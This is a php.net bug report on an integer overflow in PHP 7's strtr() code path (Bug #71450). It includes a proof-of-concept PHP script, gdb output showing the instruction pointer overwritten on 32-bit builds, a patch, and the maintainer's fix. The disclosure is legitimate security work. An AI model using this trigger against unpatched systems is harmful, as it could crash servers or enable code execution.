php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #71450 An integer overflow bug in php_str_to_str_ex() led arbitrary code execution.
Submitted: 2016-01-26 00:22 UTC Modified: 2016-01-27 07:00 UTC
From: yeongjin dot jang at gatech dot edu Assigned: stas
Status: Closed Package: Strings related
PHP Version: 7.0Git-2016-01-25 (Git) OS: Linux, Ubuntu
Private report: No CVE-ID:
 [2016-01-26 00:22 UTC] yeongjin dot jang at gatech dot edu
Description:
------------
This is a different bug with #71449.

An integer overflow vulnerability exists in PHP-7.1.0
due to missing check of size before calling
zend_string_alloc() in ext/standard/string.c:3234.

Code:
new_str = zend_string_alloc(count * (str_len - needle_len) + ZSTR_LEN(haystack), 0);

All variables including str_len, needle_len, count, haystack are fully controllable.
The overflow results as arbitrary code execution,
as running of test script alter %eip to the arbitrary values.

This bug is only triggered in 32bit machine.

Test script:
---------------
<?php
   $a = str_repeat('A', 65536);
   $b = str_repeat('ABCD', 32768);
   // Changing 'ABCD' into other value alters %eip to arbitrary value.
   $c = array('AA'=> $b);
   strtr($a , $c);
?>

Expected result:
----------------
Correct execution of strtr() function.

Actual result:
--------------
[blue9057@ubuntu ~/exploit/php$] gdb `which php`
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/local/bin/php...done.
(gdb) r strtr.php
Starting program: /usr/local/bin/php strtr.php

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r
eax            0x0	0
ecx            0xb7a75000	-1213771776
edx            0xb7a130f0	-1214172944
ebx            0x1	1
esp            0xbfffc01c	0xbfffc01c
ebp            0xbfffc0b4	0xbfffc0b4
esi            0xb7a13020	-1214173152
edi            0xb7a741c0	-1213775424
eip            0x44434241	0x44434241
eflags         0x10286	[ PF SF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) r -v
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/local/bin/php -v
PHP 7.1.0-dev (cli) (built: Jan 24 2016 20:39:41) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
[Inferior 1 (process 4169) exited normally]

EIP is controlled as 0x44434241, from the input "ABCD".

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-01-26 16:15 UTC] yeongjin dot jang at gatech dot edu
Not sure the patch is attached or not.

diff --git a/ext/standard/string.c b/ext/standard/string.c
index 0229146..a4c26a7 100644
--- a/ext/standard/string.c
+++ b/ext/standard/string.c
@@ -3231,6 +3231,11 @@ static zend_string *php_str_to_str_ex(zend_string *haystack,
                                /* Needle doesn't occur, shortcircuit the actual replacement. */
                                goto nothing_todo;
                        }
+                       if( count >= (ZEND_SIZE_MAX  - ZSTR_LEN(haystack)) / (str_len - needle_len) )
+                       {
+                               php_error_docref(NULL, E_WARNING, "Integer overflow has occurred");
+                               RETURN_EMPTY_STRING();
+                       }
                        new_str = zend_string_alloc(count * (str_len - needle_len) + ZSTR_LEN(haystack), 0);

                        e = s = ZSTR_VAL(new_str);
 [2016-01-27 01:38 UTC] stas@php.net
Looks like it should be zend_string_alloc_safe instead of zend_string_alloc. Does not look like a security issue, since requires special code.
 [2016-01-27 06:17 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-01-27 06:55 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-01-27 07:00 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-01-27 07:00 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Tue Feb 21 14:01:44 2017 UTC